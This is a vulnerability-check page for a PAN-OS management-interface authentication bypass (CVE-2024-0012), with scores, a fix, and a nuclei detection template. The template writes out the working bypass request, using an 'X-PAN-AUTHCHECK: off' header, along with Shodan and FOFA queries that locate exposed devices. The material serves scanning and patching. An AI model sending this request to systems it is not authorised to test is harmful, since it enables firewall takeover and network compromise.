PAN-OS Management Web Interface - Authentication Bypass

Exploited in the wild. Listed by CISA on 2024-11-18; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities

Impact

Unauthenticated attackers with network access to the management interface can bypass authentication to gain full administrator privileges, allowing them to tamper with configurations, exploit additional vulnerabilities, and completely compromise the Palo Alto firewall and connected networks.

Fix

Upgrade to the latest patched version of PAN-OS as specified in the vendor security advisory.

How to confirm it

Send: GET /php/ztp_gate.php/.js.map
Positive when: contains_any(body, "<title>Zero Touch Provisioning", "Zero Touch Provisioning (ZTP)") and contains(body, "/scripts/cache/mainui.javascript") and contains(header, "PHPSESSID=") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-0012 -u <target>

The full check

id: CVE-2024-0012

info:
  name: PAN-OS Management Web Interface - Authentication Bypass
  author: johnk3r,watchtowr
  severity: critical
  description: |
    An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities
  impact: |
    Unauthenticated attackers with network access to the management interface can bypass authentication to gain full administrator privileges, allowing them to tamper with configurations, exploit additional vulnerabilities, and completely compromise the Palo Alto firewall and connected networks.
  remediation: |
    Upgrade to the latest patched version of PAN-OS as specified in the vendor security advisory.
  reference:
    - https://security.paloaltonetworks.com/CVE-2024-0012
    - https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0012
    cwe-id: CWE-306
    epss-score: 0.99787
    epss-percentile: 0.99956
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
    fofa-query: icon_hash="-631559155"
    shodan-query:
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
      - http.favicon.hash:"-631559155"
  tags: cve,cve2024,paloalto,globalprotect,kev,vkev,vuln

http:
  - raw:
      - |
        GET /php/ztp_gate.php/.js.map HTTP/1.1
        Host: {{Hostname}}
        X-PAN-AUTHCHECK: off

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "<title>Zero Touch Provisioning", "Zero Touch Provisioning (ZTP)")'
          - 'contains(body, "/scripts/cache/mainui.javascript")'
          - 'contains(header, "PHPSESSID=")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from